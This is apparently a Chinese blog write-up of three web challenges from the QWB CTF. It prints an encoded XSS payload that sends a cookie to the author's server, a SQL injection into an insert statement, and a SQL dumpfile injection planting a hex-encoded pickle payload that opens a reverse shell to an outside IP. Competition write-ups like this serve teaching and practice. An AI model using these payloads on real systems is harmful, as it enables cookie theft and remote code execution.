louys louys

qwb-wp

in web相关read (193) 文章转载请注明来源!

Share your mind

题目挂掉了,没法访问,在这里写一下思路。

访问页面,分析html,可以发现js文件使用相对路径引入的,就想到了pwnhub的姿势,不同的是那是css这是js。

http://39.107.33.96:20000/index.php/view/article/509/aa/..%2f..%2f..%2f

通过这么构造使得引入的js为可控的内容,发现当不填写title的时候就不会出现<h1>标签,于是可以在content直接构造js代码,有些过滤,比如不能写单引号。本机chrome用反引号能过,远程踩坑后用String.fromCharCode构造字符串。

拿到请求HINT=Try to get the cookie of path "/QWB_fl4g/QWB/",发现要读取一个子目录下的cookie,于是可以使用iframe嵌入子页面后读取其cookie

var frame=document.createElement(String.fromCharCode(105,102,114,97,109,101));
frame.src=String.fromCharCode(47,81,87,66,95,102,108,52,103,47,81,87,66,47);
frame.id=String.fromCharCode(108,111,117,121,115);
document.body.appendChild(frame);
setTimeout(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,119,119,119,46,108,111,117,121,115,46,110,101,116,46,99,110,47,100,97,116,101,46,112,104,112,63,39,43,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,108,111,117,121,115,39,41,46,99,111,110,116,101,110,116,68,111,99,117,109,101,110,116,46,99,111,111,107,105,101),1000);

有一个小坑是延时不要太长,不然bot直接exit了。。。

39.107.33.96----http://www.louys.net.cn:80/date.php----GET[ flag=QWB{flag_is_f43kth4rpo}; HINT=Try to get the cookie of path "/QWB_fl4g/QWB/" ]----POST[  ]------- name="HEAD[ a:6:{s:6:"Accept";s:63:"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";s:7:"Referer";s:72:"http://39.107.33.96:20000/index.php/view/article/2666/aa/..%2F..%2F..%2F";s:10:"User-Agent";s:102:"Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1";s:15:"Accept-Encoding";s:13:"gzip, deflate";s:15:"Accept-Language";s:4:"en,*";s:4:"Host";s:16:"www.louys.net.cn";} ]"---<br/>#                 ➜  log

Python is the best language 1

def Add(self, tablename, values):
        sql = "insert into " + tablename + " "
        sql += "values ("
        sql += "".join(i + "," for i in values)[:-1]
        sql += ")"
        try:
            self.db_session.execute(sql)
            self.db_session.commit()
            return 1
        except:
            return 0

这里没有啥子过滤,可以直接insert一个新的消息进去,和n1ctf的感觉很像。

flag还没注完,发现flag赫然出现在留言板上,直接交了。。。

Python is the best language 2

读源码的时候,others.py里面的黑名单和序列化写明了这是一个pickle的反序列化漏洞。

但是序列化只和session有关,代码中所有和session有关的可控点只有flash函数填入的username,但是过滤十分严格显然无法写入序列化后的payload。

此时我们在留言板看到了有人似乎用load_file读到了passwd,意识到sql有file权限。

第一天晚上尝试写到session目录,发现服务器返回500了,以为没法多语句写失败了或者没权限,就没关注。然后第二天本地环境跑起来以后发现虽然返回500但是能写文件,不过session目录写不进去就没再关注。

看了快一天代码,感觉没有其他可控session的地方了,而且题目做出来的人比较多了,感觉那里坑了,于是直接去题目上读写了一下,结果发现居然真的写进去了。。。(后来分析,本地自动生成的文件夹和文件都是660所以无法写入,远程可能是mkdir生成的文件夹有w权限,所以可以写入新文件,但是无法覆盖旧文件)

于是本地序列化一个弹shell的文件,然后16进制编码用sql dumpfile写到session目录,文件名是前缀加sid的md5。然后修改自己的cookie访问页面后就能接到shell了。

附上payload

aswsslouysd', 2, 1);select unhex('800263636F6D6D616E64730A6765746F75747075740A710155E5707974686F6E202D632027696D706F727420736F636B65742C73756270726F636573732C6F733B733D736F636B65742E736F636B657428736F636B65742E41465F494E45542C736F636B65742E534F434B5F53545245414D293B732E636F6E6E6563742828223133392E3132392E33392E3238222C3233343529293B6F732E6475703228732E66696C656E6F28292C30293B206F732E6475703228732E66696C656E6F28292C31293B206F732E6475703228732E66696C656E6F28292C32293B703D73756270726F636573732E63616C6C285B222F62696E2F7368222C222D69225D293B277102855271032E') into dumpfile '/tmp/ffff/4c6e00eae2cc4394646a78e4a06322aa'#

总结

比赛过程中,对flask的session机制有了一定的了解,并且对于flask环境的搭建熟悉了不少。看到java的彩蛋,发现自己对于java web了解到太少了,实际业务也基本没接触过,还是要有所涉猎

jrotty WeChat Pay

微信打赏

jrotty Alipay

支付宝打赏

文章二维码

扫描二维码,在手机上阅读!

此处评论已关闭

博客已萌萌哒运行
© 2018 由 Typecho 强力驱动.Theme by Yodu
前篇 后篇
雷姆
拉姆